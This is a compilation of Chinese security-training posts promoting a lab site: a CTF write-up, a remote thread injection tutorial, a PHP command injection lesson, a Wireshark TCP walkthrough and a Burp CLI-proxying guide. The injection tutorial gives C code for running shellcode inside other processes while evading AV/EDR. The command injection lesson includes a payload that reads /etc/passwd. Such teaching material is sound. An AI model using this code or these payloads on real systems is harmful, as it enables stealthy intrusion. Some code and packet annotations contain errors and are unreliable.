CTF训练之 CountingStars
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/mobile/actReg.html>>
今天介绍一道某比赛的真题。
首先我们来进行CTF 练习,进入实验链接:https://www.yijinglab.com/expc.do?ec=ECID9d6c0ca797abec2016090714413800001
首先看到题目名称:CoutingStars ,数星星,不知道是代表什么,我们直接进入到题目发现页面:
??数星星?难道是数这个$ 符号有多少个?动动脑筋, CTF哪里有这么简单。
我们来看页面打印了一句话,还是没什么头绪,随意的在输入框中输入,点击提交,答案错误,页面返回Sorry...
这只是测试一下,我们再来查看一下源码,看看有什么头绪。
里面有关键信息OS : MAC OS 。但是, 你知道MAC OS 有一个有名的 .DS_Store 文件泄露敏感信息吗?
请记住一下,这里应该是解题的关键。我们来访问一下.DS_Store
看来我们找到题目的关键了来看一下我们刚刚下载的文件。
这个.zip 文件是什么?我们访问一下试一试就知道了。
居然又可以下载。看来我们的思路没错我们来看一下这个文件里面是什么。
这一看就是这个题目的源码啊。但是我们要分析这个源码。好像挺麻烦的我们就直接改一下代码吧让他自己输出。
我们是不是输入这一个值就通关了呢? 理论上来说是这样。我们把d0llars 作为答案,输入看一下,
又翻车了?咳咳,应该没错刚刚好像页面闪了一下。这里有什么蹊跷吗?我们用burpsuite 抓包看一下果然 flag 在刚刚闪过的页面里面。
成功获取到了flag 。
3.通关总结
解题过程中遇到的一些困难,你还不能很快的发现并解决吧!知识在于积累,更何况CTF 讲究的是技术比拼,没有丰富的经验和缜密的思维,很难胜人一筹哦!
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
一文读懂远程线程注入
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
在红队行动中,红队的目的都是要在不暴露自身行动的前提下,向蓝队发动攻击。他们使用各种技术和程序来隐藏C2连接和数据流。攻击活动的第一步是获得初始访问权。他们会使用定制的恶意软件和有效载荷来躲避防杀软和EDR等防御工具。
本文涉及知识点实操练习:https://www.yijinglab.com/expc.do?ec=91bd2094-4ebb-4438-b969-bfd8ee7f48b9(通过实验了解DLL注入型病毒的攻击过程)
进程注入是用来逃避防御机制的重要技术之一。远程线程注入是其中的一种简单可靠的技术,它的工作原理是将shellcode注入到另一个合法的进程中,并为该进程创建一个线程来运行payload。
我们通常会使用标准的Windows API、Native API和直接syscalls来实现远程线程注入,这些实现方式都有各自的优缺点,下图展示了标准的windows API、Native API和直接syscalls在windows架构中的工作原理。
标准的windows API
优点:易于使用
缺点:可被大多数AV/EDR检测到
我们首先测试使用标准的Windows API,因为它比其他两种方式更简单。首先,我们需要找到我们的目标进程ID。我们需要创建一个名为find_process的函数,它可以得到一个进程名。它使用CreateToolhelp32Snapshot API得到当前进程列表,并使用Process32First和Process32Next逐一查看,并将进程名与我们的目标进程进行比较。使用Process32First和Process32Next API会得到一个指向PROCESSENTRY32结构的指针,这个结构可以保存进程的信息,比如它的名字和id。如果它成功地找到了进程,就会返回它的进程ID。
DWORD find_process(char *process_name){
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
//get the list of processes
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
//check processes to find TARGET_PROCESS_NAME
if (Process32First(snapshot, &process_entry) == TRUE){
while (Process32Next(snapshot, &process_entry) == TRUE){
if (stricmp(process_entry.szExeFile, process_name) == 0){
CloseHandle(snapshot);
return process_entry.th32ProcessID;
}
}
}
CloseHandle(snapshot);
return 0;
}
下一步,我们需要使用OpenProcess 函数打开目标进程。我们可以传递我们的参数,包括从上一步得到的目标进程id,它将返回该进程的句柄。
HANDLE target_process_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, target_process_id);
现在我们需要使用VirtualAllocEx函数在目标进程中为我们的shellcode分配空间,我们应该给这个空间分配PAGE_EXECUTE_READWRITE(读、写、执行)权限,这个函数返回分配区域的首地址。
LPVOID remote_process_buffer = VirtualAllocEx(target_process_handle, NULL, sizeof(buf), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
现在我们应该使用WriteProcessMemory函数将我们的shellcode写入分配的内存区域。
WriteProcessMemory(target_process_handle, remote_process_buffer, buf, sizeof(buf), NULL);
这时候可以在目标进程中创建一个线程,并运行我们之前写到内存页中的shellcode.我们可以使用CreateRemoteThread函数.还应该传递0作为dwCreationFlags参数,表示在创建后立即运行线程。
CreateRemoteThread(target_process_handle, NULL, 0,(LPTHREAD_START_ROUTINE) remote_process_buffer,NULL,0, NULL);
为了能在kali中编译代码,我们需要使用MinGW编译器。
x86_64-w64-mingw32-gcc main.c -o rti.exe
我们将输出的文件发送到我们的windows机器上运行它。如果我们打开process hacker并查看notepad.exe进程,在内存部分有一个很可疑的具有RWX权限的内存页,如果我们打开它,就可以看到里面的shellcode。
Native API
优点:能够绕过一些AV/EDR
缺点:
很难使用
仍可能被大多数AV/EDR检测到。
无法在所有版本的Windows上运行
为了方便与操作系统进行交互,程序员一般使用微软推荐的标准API(Win 32 API)。标准Windows APIs是在Native APIs的基础上包装产生的。Native APIs 或 Undocumented APIs 都可以在 ntdll.dll 库中找到。微软不推荐使用这些API。你可以查看第二张图,可以很清楚看到这些API是如何工作的。native API也使用syscalls与os内核交互,微软使用这种架构是因为它可以在不影响标准API的情况下改变操作系统内核。
Native API也被称为无文档API,因为你通常找不到它们的官方文档。我们主要是通过查看其他人的代码或者别人总结的非官方文档,来查看它们的使用方法。
在上一节中,我们使用了标准的API来完成我们的工作,这里我们再深入一层,尝试使用原生API。首先,我们需要将ntdll.dll加载到我们的恶意软件进程中.然后我们需要定义与我们要使用的原始函数格式完全相同的函数指针,并使用这些函数的基地址来初始化这些指针.
我们可以使用LoadLibraryW函数,动态加载ntdll.dll或任何其他dll到我们的运行进程中,同时它会返回该库的一个句柄。
HMODULE hNtdll = LoadLibraryW(L"ntdll");
然后我们定义函数指针类型,并使用GetProcAddress函数获取函数的基地址,并将其赋值给指针,以下是NtOpenProcess的使用例子。
typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientID);
pNtOpenProcess NtOpenProcess = (pNtOpenProcess)GetProcAddress(hNtdll, "NtOpenProcess");
我们用与NtOpenProcess函数相同的参数定义了我们的函数类型。对于NtWriteVirtualMemory , NtAllocateVirtualMemory , NtCreateThreadEx函数都要这样做。
NtOpenProcess
和上一节一样,我们从打开目标进程开始做,但这次使用的是NtOpenProcess函数。这个函数并不返回目标进程的Handle,我们需要传递一个句柄指针作为第一个参数。
#define InitializeObjectAttributes(p,n,a,r,s) { \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = (r); \
(p)->Attributes = (a); \
(p)->ObjectName = (n); \
(p)->SecurityDescriptor = (s); \
(p)->SecurityQualityOfService = NULL; \
}
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES ;
OBJECT_ATTRIBUTES oa;
InitializeObjectAttributes(&oa, NULL,0,NULL,NULL);
CLIENT_ID ci = { (HANDLE)procid, NULL };
现在我们可以使用 NtOpenProcess函数
NtOpenProcess(&target_process_handle,PROCESS_ALL_ACCESS, &oa, &ci);
NtAllocateVirtualMemory
我们使用NtAllocateVirtualMemory函数在目标进程中分配内存,我们定义该函数的原型。
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
然后我们得到函数的基地址。
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory")
我们把这个地址称为 "NtWriteVirtualMemory"
NtAllocateVirtualMemory(target_process_handle, &remote_process_buffer, 0,&buf_len ,MEM_COMMIT, PAGE_EXECUTE_READWRITE)
我们传递了一个名为remote_process_buffer的指针,它代表的是所分配空间的基地址。
NtWriteVirtualMemory
像之前的步骤一样,先定义NtWriteVirtualMemory函数原型,我们应该将我们的shellcode,shellcode的长度,以及分配空间的基地址作为参数进行传递
typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten OPTIONAL);
pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
NtWriteVirtualMemory(target_process_handle, remote_process_buffer, buf, buf_len, NULL);
NtCreateThreadEx
现在我们可以在目标进程中创建一个线程并运行我们的shellcode了。我们使用NtCreateThreadEx在目标进程中创建一个远程线程并运行我们的shellcode。
NtCreateThreadEx(&thread_handle, 0x1FFFFF, NULL, target_process_handle, (LPTHREAD_START_ROUTINE)remote_process_buffer,NULL, FALSE, NULL, NULL, NULL, NULL)
Direct Syscalls
优点:用户系统中所有的API监控工具都无法检测到。
缺点:
可能无法在所有版本的Windows上运行
很难使用
在前面的步骤中,任何API监控程序和EDRs都可以检测到我们的API调用,阻止我们的攻击。现在,如果我们直接使用syscalls,用户系统就没有任何工具可以检测到API的调用。
syscalls的一个严重缺点就是他的运行对于操作系统的版本的依赖程度很高,我们的代码可能无法在不同的windows版本上运行。然而,通过使用像SysWhisper 这样的工具,我们就可以让软件在不同版本的windows系统上运行。运行下面的命令就可以在我们的windows 10系统上生成相应的文件。
syswhispers.py --function NtCreateProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o syscall --versions 10
这个命令会生成两个文件syscall.asm和syscall.h,我们需要将它们添加到visual studio项目中。然后我们应该在项目中启用MASM,并将头文件包含在我们的主代码中。这里可以像Native API一样调用函数,但这里我们不需要加载ntdll.dll,获取函数的基地址,和定义函数原型。我觉得SysWhisper让利用syscalls变得非常简单了。
文章至此,也该告一段落了,文中涉及更多的是winows底层的知识,主要讲解了三种常见的方法,希望在写文章的同时,能给各位师傅带来一点点的启发和灵感。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
实战篇——PHP命令注入攻击
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍的使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此。如果使用了被污染数据,命令注入漏洞就产生了。
命令注入攻击是指黑客通过利用HTML代码输入机制缺陷(例如缺乏有效验证限制的表格域)来改变网页的动态生成的内容。从而可以使用系统命令操作,实现使用远程数据来构造要执行的命令的操作。
PHP中可以使用下列四个函数来执行外部的应用程序或函数:system、exec、passthru、shell_exec,四个函数的原型如下:
string system(string command, int &return_var)
command 要执行的命令; return_var 存放执行命令的执行后的状态值。
string exec (string command, array &output, int &return_var)
command 要执行的命令,output 获得执行命令输出的每一行字符串,return_var 存放执行命令后的状态值。
void passthru (string command, int &return_var)
command 要执行的命令,return_var 存放执行命令后的状态值。
string shell_exec (string command)
command 要执行的命令,如下例所示,表示通过提交http://www.sectop.com/ex1.php?dir=| cat /etc/passwd操作,执行命令变成了system("ls -al | cat /etc/passwd"),输出/etc/passwd 文件的具体内容。
//ex1.php
<?php
$dir = $_GET["dir"];
if (isset($dir))
{
echo "";
system("ls -al ".$dir);
echo "";
}
?>
实验内容和步骤
本实验分为两个实列任务:
实例一:你得知道如何在命令行下一箭双雕;
实例二:读懂了header,就ok了;
实例一、使远程服务器执行“whoami”的命令
在蚁景网安实验室(http://www.yijinglab.com/)中搜索《PHP命令注入》,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例1”
关键代码:
根据前面预备知识的实例分析,构造输入参数让远程服务器执行“whoami”命令。
实例二、使远程服务器执行“ipconfig”的命令
在蚁景网安实验室中收索PHP命令注入,在创建好的实验机中用浏览器打开实验网址(http://10.1.1.11:81),然后找到“命令注入”--“实例3”
关键代码:
preg_match() 函数用于进行正则表达式匹配,成功返回 1 ,否则返回 0 。preg_match() 匹配成功一次后就会停止匹配,如果要实现全部结果的匹配,则需使用 preg_match_all() 函数。header()函数的作用是:发送一个原始 HTTP 标头[Http Header]到客户端。标头 (header) 是服务器以 HTTP 协义传 HTML 资料到浏览器前所送出的字串,在标头与 HTML 文件之间尚需空一行分隔。
本次实验今天就介绍到这里了,实验内容虽然不多,但是要理解清楚还是要多花时间,表面上看只有2个实验,但是操作起来还是有很多步骤呢!
命令/代码注入作为一种危害性极大的漏洞,应该引起我们的重视。本实验也只是总结了一些常见的命令/代码注入问题,至于潜藏在代码深处的漏洞,还要靠自己多多挖掘。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
Wireshark数据抓包分析之传输层协议(TCP协议)
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com>>
使用TCP协议传输数据相对来说更安全,因为通信双方拥有一个专属的通信通道,每发送一个数据包都有确认回复,若数据包丢失。如果发送放没收到确认包,就可以重发这个数据包。
最经典的例子就是三次握手。三次握手是通信双方建立TCP连接前的必须步骤。第一次握手时请求方向接收方发送友好问候,请求建立连接。第二次握手接收方礼貌回复,表示收到请求。第三次握手请求方坚定交往信息,向接收方表示已做好了连接准备。于是双方的TCP连接就建好啦~
完成三次握手后,双方就可以开始传输数据了。当然,握手很严谨,说再见也是一丝不苟的。详细内容可以在蚁景网安实验室里进行实验操作《https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182015061617194800001》了解。下面开始实战。
根据已经搭建好的实验环境,本次实战步骤如下:
1. 在测试环境使用发包工具和Wireshark抓取TCP三次握手和四次断开的数据包
2. 详细分析TCP协议的三次握手以及四次断开。
本次的任务可以拆分成:安装发包工具,配置TCP客户端(请求方),服务端(接收方),与学习Wireshark软件懂使用。咱开始吧~
我们使用" TCP&UDP测试工具"来制作和发送TCP数据包,双击实验机器桌面的" TCP&UDP测试工具",会出现下图显示页面:
下面我们需要配置TCP的服务端以及客户端。首先配置服务器端:选择地址为10.1.1.33的机器,双击桌面的" TCP&UDP测试工具",右键点击服务器模式,在下拉列表中,选择创建服务器,如下图:
选择"创建服务器"之后,会弹出服务器端口设置,本次使用默认工具给的6000端口即可,点击"确定"按钮。
点击"确定"按钮之后,在左侧的服务器模式列表中,会出现创建的列表,选择我们创建的服务器,右键点击,选择"启动服务器",即完成了服务器端的配置。
接下来配置客户端,步骤与前面的类似:选择地址为10.1.1.142的机器,双击桌面的" TCP&UDP测试工具",右键点击客户端模式,在下拉列表中,选择"创建连接",如下图:
在弹出的窗口中,选择TCP协议,服务器IP为10.1.1.33.端口6000,本机随意IP,如下图:
点击创建后,如下图:
那么我们看看Wireshark软件获取到的客户端与服务器端之间发送到TCP数据包吧。
获取的TCP协议的数据包分为两部分,即TCP三次握手,四次断开的数据。在实际的操作中,我们往往还会抓到除了目标地址之外往来到数据包,因此先使用过滤器过滤一下IP源,方便我们查看。
启动Wireshark,在Filter中输入tcp,点击Apply会看到很多的数据包,这是因为测试环境中,有很多的应用程序,与其服务器连接,使用TCP协议。如下图:
在这里,我们已知两台机器的IP情况下,可以在filter中输入"ip.addr == 10.1.1.142 and ip.addr == 10.1.1.33"来过滤出我们想要的数据,点击工具中的"apply连接"按钮。如下图:
在上图中,70,73,74帧是tcp的三次握手,428,429,430,431帧是四次断开的数据。
分析握手
通过前面到工作,我们已经找到了想要的数据包,接下来我们将对TCP的三次握手进行详细分析。
首先我们看TCP包的首部。TCP首部的通用格式如下图所示:
在上面的图中,标出了每一个字段,咱今天就说说比较重要的源端口、目标端口、标记。
源端口表明了发送方的输出端口号。目标端口表示数据包进入接收方的端口号端口对上了,才能正确地将数据包传达。标记用来表示所传输的TCP数据包类型,包括URG、ACK、PSH、RST、SYN和FIN,其中SYN表示同步序号,使用在建立连接时;ACK是确认标志,表示应答域有效,就是前面所说的接收方对请求方的问候表示礼貌致意;FIN表示发送端以及达到数据末尾,此时双方就准备挥手告别了。
那么接下来咱具体分析下三次握手。
干货来了!
TCP第一次握手,捕获的数据包信息如下所示:
从Wireshark的Packet List面板中的Info列可以看到显示的TCP标志位是SYN,所以该数据包是客户端向服务器发送的第一次握手连接。在Packet Details面板中,显示了该包的详细信息,下面详细介绍。
以上信息,表示该包的大小为62个字节。
以上内容表示源IP是10.1.1.142,目的IP为10.1.1.33。
以上内容是传输层首部的详细信息,这里使用TCP协议,其中源端口为56678,目标端口为6000。
更多详细的信息,可以进入蚁景网安实验室课程查询。
接下来是第二次握手,TCP第二次握手捕获数据包相信信息,如下:
在该界面显示了第二次握手数据包的详细信息,其中位于TCP上面的信息与第一次握手时相类似,留给文后照着上面的分析独立思考。
同样地,第三次握手也一定没问题,看下图:
于是这样就完成了TCP连接的建立啦~
五 再来看看再见
TCP的四次断开,也是TCP协议的主要工作之一。那咱也看看四次分手,偶不,四次断开~TCP第一次断开连接的数据包如下:
在该界面显示了TCP第一次断开,数据包的详细信息,是不是和握手时的数据包很像?
查看tcp数据包可以看到客户端向服务器发送FIN和ACK标志的数据包开始断开连接,其中FIN和ACK标志位都为1。
Source Port: 56678(56678) #源端口号
Destination Port: 6000(6000) #目标端口号
Stream index: 0 #流节点号
TCP Segment Len: 0 #分段长度
Sequence number: 1 (relative sequence number) #序列号
Acknowledgment number: 1 (relative ack number) #确认编号
Header Length: 20 bytes #首部长度
.... 0000 0001 0001 = Flags: 0x011 (FIN,ACK) #标志位,此处为(FIN,ACK)
000. .... .... = Reserved: Not set
...0 .... .... = Nonce: Not set
.... 0... .... = Congestion Window Reduced (CWR): Not set
.... .0.. .... = ECN-Echo: Not set
.... ..0. .... = Urgent: Not set
.... ...1 .... = Acknowledgment: Not set #确认编号已设置
.... .... 0... = Push: Not set
.... .... .0.. = Reset: Not set
.... .... ..0. = Syn: Set #请求位
.... .... ...1 = Fin: Not set #FIN标志位
Expert Info (Chat/Sequence): Connection finish (FIN) #专家信息
Connection finish (FIN) #消息内容,连接完成(FIN)
Severity level: Chat #安全级别
Group: Sequence
Window size value: 64240 #窗口大小
Calculated window size: 64240 #估计的窗口大小
Window size scaling factor: -1 (unknown) 窗口大小缩放比例因素
Checksum: 0x16cb [validation disabled] #校验和
Good Checksum: False
Bad Checksum: False
Urgent pointer: 0
FIN是1表示要分手啦~
在TCP第二次断开连接的数据包是服务器向客户端发送的ACK包,其中ACK标志位为1。
TCP第三次断开连接的数据包是服务器向客户端发送的FIN和ACK包。其中FIN和ACK标志位为1。
TCP第四次断开连接的数据包,客户端向服务器发送ACK的包。其中,ACK标志位都为1。
你没见过的Burpsuite骚操作——拦截CLI工具的流量
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
介绍
Burp Suite,mitmproxy都是非常有用的HTTP代理工具。它们不仅仅用于渗透测试和安全研究,也用于开发、测试和API研究上。实际上,我自己现在更多的是用Burp来进行调试和学习,而不是用于实际的渗透测试。观察网络中的实际HTTP请求,对理解复杂的API或测试我的脚本或工具是否正常工作是非常有帮助的。
本文涉及知识点实操练习:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001(burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。)
像Burp或mitmproxy这样的工具的一般使用方法是配置浏览器通过它进行通信,网上有很多关于如何配置Firefox、Chrome等与Burp Suite会话并信任Burp签名的证书颁发机构的文章和教程。
然而,我经常需要检查来自除浏览器以外的其他工具的流量,最常用的是命令行工具。很多常用服务的CLI工具只是可以发出HTTP请求,检查和或修改这些流量很有研究意义。如果一个CLI工具没有正常工作,有时候查看错误信息也没有帮助,那么只要你看看它实际发出或者接收的HTTP请求和响应,问题就会很快解决。
我曾使用这些技术来检查常用的CLI工具,如Azure 的CLI 程序。以前,我甚至代理了我们使用的商业安全工具提供的CLI工具,并了解到了一些未公开的API和行为,这些网络行为并不在他们的说明文档中。有了这些知识,我就能够很简单的完成某些事情,而这些事情是无法通过他们的 CLI或发布的API文档来实现的。
在这篇文章中,我想展示各种方法,配置不同语言编写的CLI工具,通过Burp Suite代理他们的HTTP(S)流量。一般来说,有两件事我们必须要配置。
Burp代理CLI的流量
让CLI信任Burp的 CA证书(或忽略信任)
一般来说,第二步通常比较困难,但并非不可能实现。
在大多数的例子中,我让Burp Suite在localhost:8080上监听,并在同一台机器上运行CLI工具。如果Burp运行在不同的主机或接口上,你应该将localhost替换成Burp的IP。
例一 代理wget或者curl
对于第一个例子,我将展示如何代理 curl 和 wget。这两个工具都可以很容易地配置代理,它们可以从环境变量中获取代理设置。
http_proxy
https_proxy
你可以用以下的方式来进行代理配置.
export http_proxy=localhost:8080 export https_proxy=localhost:8080 curl ifconfig.io wget -O /dev/null ifconfig.io ## or ## http_proxy=localhost:8080 https_proxy=localhost:8080 curl ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null ifconfig.io
在burp中我们可以看到wget和curl的流量请求
这很好用,因为它只是HTTP。那HTTPS呢?如果你尝试着运行的话,你肯定会失败的。
curl不信任Burp的证书,这些错误信息是相当有用的。大多数CLI工具在信任证书时,都会听取操作系统的安排。所以我们有两个选择:
禁用信任核查
将我们的操作系统配置为信任Burp CA
禁用信任核查
第一种选择最简单。对于curl使用-k或wget使用--no-check-certificate参数:
http_proxy=localhost:8080 https_proxy=localhost:8080 curl -k https://ifconfig.io http_proxy=localhost:8080 https_proxy=localhost:8080 wget -O /dev/null --no-check-certificate https://ifconfig.io
使操作系统信任代理证书
对于第二个选项,我们必须从Burp内导出BurpCA。我们可以将DER格式的Burp证书下载到~/certs。
mkdir ~/certs wget -O ~/certs/burpca.der http://localhost:8080/cert cd ~/certs openssl x509 -inform DER -in burpca.der -out burpca.crt
注意:如果您使用mitmproxy,则证书已经在~/.mitmproxy目录下了。
MAC OS
在Mac上,只需双击下载的DER文件,OSX就会提示您将证书添加到信任的名单中。如果选择“系统”,则计算机上的所有用户都将信任它。然后,在导入后,您必须信任它。搜索“ PortSwigger”并打开证书。在“信任”下,为SSL选择“始终信任”:
WINDOWS
在Windows上,双击DER文件并选择“ Install Certificate”。选择“受信任的根证书颁发机构”证书存储以安装并信任BurpCA。
LINUX
对于大多数linux发行版,都包含受信任的证书/usr/share/ca-certificates。将burpca.crt文件复制到/usr/share/ca-certificates,然后运行:
sudo update-ca-certificates
通过使用操作系统信任的Burp CA,您不再需要使用curl的-k参数或者wget的--no-check-certificates参数,您可以在Burp中看到HTTPS流量:
例二 代理java jar
虽然我喜欢用Python或npm包或Go文件,而且我接触的很多CLI工具都是JAR形式的工具,现在,这些程序中一些有代理支持,可以通过命令行选项进行配置。然而其中一些没有,我需要强制JAR文件来使用我的代理工具。
以前使用的一个安全扫描器有一个API,并配有说明文档。使用API的token与它进行交互的唯一方式是使用他们的Java JAR CLI工具。但是我们需要开发我们的自动化工具,希望能写一个Python工具和我们的API进行交互,所以我使用了这种技术来代理他们的JAR,并弄清楚了如何使用API 的token来进行验证。
我在我找到的一个Atlassian CLI工具上演示与Jira的交互过程。例如,我可以用这个CLI来查询云托管实例上运行的Jira版本。
java -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo Jira version: 1001.0.0-SNAPSHOT, build: 100119, time: 2/6/20, 6:26 AM, description: Greenshot JIRA, url: https://greenshot.atlassian.net
不幸的是,CLI工具没有用于指定代理的任何选项。好消息是,在启动Java时,强制JVM通过某些属性使用代理实际上是可行的:
http.proxyHost
http.proxyPort
https.proxyHost
https.proxyPort
http.nonProxyHosts
要通过Burpsuite代理JAR,我们需要为代理设置前4个选项,并使最后一个选项为空值。这将强制Java通过Burp代理所有主机。为此, 我们在指定JAR之前将它们作为命令行参数添加到命令中:
java -Dhttp.nonProxyHosts= -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=8080 -Dhttps.proxyHost=127.0.0.1 -Dhttps.proxyPort=8080 -jar acli-9.1.0.jar -s https://greenshot.atlassian.net -a getServerInfo
但是我们现在看到了一个SSL错误:
即使我的操作系统中信任了Burp证书,Java仍实际上使用其自己的密钥库。因此,我们还需要在其中添加Burp证书。
将证书添加到Java密钥库
默认密钥库位于$JAVA_HOME/lib/security/cacerts。如果您没有设置$JAVA_HOME环境变量,您也可以使用java命令快速找到它:
java -XshowSettings:properties -version 2>&1 > /dev/null | grep 'java.home' java.home = /Users/RonnieFlathers/.sdkman/candidates/java/11.0.3-zulu
要将证书添加到Java的密钥库中,我们可以利用Java的keytool程序,该工具包含在$JAVA_HOME/bin/keytool中。要导入Burp证书,我们必须将PEM格式的文件导入到受信任的CA证书中:
$JAVA_HOME/bin/keytool -import -alias burpsuite -keystore $JAVA_HOME/lib/security/cacerts -file $HOME/certs/burpca.crt -trustcacerts
这里提示您输入密钥库密码。默认情况下,值为changeit。然后指定“是”以信任证书:
现在有了Java信任的Burp证书,我们可以查看Burp中的HTTP流量:
例三 代理Python请求
下一个示例将介绍Python CLI。最近,我经常使用这个工具,因为之前我做了很多Azure自动化工作,并希望很好的使用zaure的cli来提高工作效率。不过,在示例中,我已经使用homebrew安装了Azure CLI,并已经完成了azure账号的登录。
我可以使用以下方法查看可用的资源组:
$ az group list [ { "id": "/subscriptions/300b646c-f573-49d4-96d5-c01efe36c282/resourceGroups/ropnoptest", "location": "centralus", "managedBy": null, "name": "ropnoptest", "properties": { "provisioningState": "Succeeded" }, "tags": {}, "type": "Microsoft.Resources/resourceGroups" } ]
幸运的是,通过截取发出的请求,Python会使用 "正常 "的代理环境变量。然而当试图设置这些变量的时候,得到的结果却是SSL错误。
$ HTTPS_PROXY=http://localhost:8080 az group list request failed: Error occurred in request., SSLError: HTTPSConnectionPool........
由于我的操作系统信任Burp CA,因此在测试Python的时候未使用它。
向python添加证书
Python 的 CA 证书处理有点奇怪。大多数的Python CLI可能会使用requests库,它会使用自己的CA bundle,然后也会查看另一个certifi库包含的CA bundle,但是它使用了Mozilla的bundle。为了信任我们的CA,我们可以将它添加到与certifi一起包含的Mozilla bundle中。
需要注意的是,Python解释器的版本也会影响试验结果, 所以如果你使用的是虚拟环境,你需要确保使用正确版本的Python运行以下命令。
首先,我想验证 az 如何调用 Python,以及它使用的是哪个版本。
$ head `which az` #!/usr/bin/env bash /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -m azure.cli "$@"
因此,az它会调用自己内置的Python解释器,该解释器已在homebrew上安装。
首先,为了确定导入证书的位置,我们导入certifi并运行certifi.where()命令。
$ /usr/local/Cellar/azure-cli/2.0.74/libexec/bin/python -c "import certifi; print(certifi.where())" /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem
该cacert.pem文件是PEM格式的所有受信任的CA证书列表。要添加Burp CA,我们只需将PEM附加到该文件中即可:
cat ~/certs/burpca.pem >> /usr/local/Cellar/azure-cli/2.0.74/libexec/lib/python3.7/site-packages/certifi/cacert.pem
将Burp CA添加到Mozilla bundle中,我们现在就可以代理az命令了!
$ HTTPS_PROXY=http://localhost:8080 az group list
现在我们想要运行的任何 az 命令都可以进行查看或者修改。
例四 代理Node js
在这个例子中,我希望能够代理到来自NPM包的流量,以便与https://zeit.co进行交互。
我已经使用如下命令行安装了工具。
npm i -g now@latest
登录后,我可以查看我当前的部署:
运行:
$ HTTPS_PROXY=http://localhost:8080 now list
发现服务器返回了数据,Burp中并没有出现任何内容。看来,Node并不支持全局代理设置,但这并不意味着我们不能强行设置。
首先,我们来看看now命令调用了哪些内容:
$ which now /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now $ head -c100 `which now` #!/usr/bin/env node require('./sourcemap-register.js');module.exports=function(e,t){"use strict";var%
now程序是一个JS文件,位于Node的bin目录中,我们也可以直接用node调用那个文件来运行now命令。
$ node /Users/RonnieFlathers/.nvm/versions/node/v12.15.0/bin/now -v Now CLI 17.0.3 17.0.3
虽然node没有全局代理的支持,但是一个名为global-agent的项目解决了这个问题,它可以在Node项目中设置一个可配置的代理。要使用它,我们使用npm将它安装到我们当前的目录中。
$ mkdir nodeproxy $ cd nodproxy/ $ npm install global-agent
该模块使用了GLOBAL_AGENT_HTTP_PROXY环境变量,所以我们必须先使用命令设置环境变量,现在我们可以将项目注入到now包中。
$ export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 $ node -r 'global-agent/bootstrap' `which now`
现在要为Burp添加SSL证书。
为Node添加证书
这其实比Python简单不少。Node命令的一个环境变量,叫做NODE_EXTRA_CA_CERTS。如果要把我们的Burp证书加载为可信的,我们只要把这个环境变量导出,然后指向Burp的PEM文件就可以了。
export NODE_EXTRA_CA_CERTS=$HOME/certs/burpca.crt export GLOBAL_AGENT_HTTP_PROXY=http://127.0.0.1:8080 node -r 'global-agent/bootstrap' `which now`
现在可以用了! 我们可以在Burp中查看now包的流量。
例五 代理Go程序
越来越多开发者开始将静态的Go二进制文件以CLI形式发布。因为Go是一门很优秀的语言。Go设置代理非常简单,因为每个Go程序都能使用环境变量http_proxy和https_proxy。
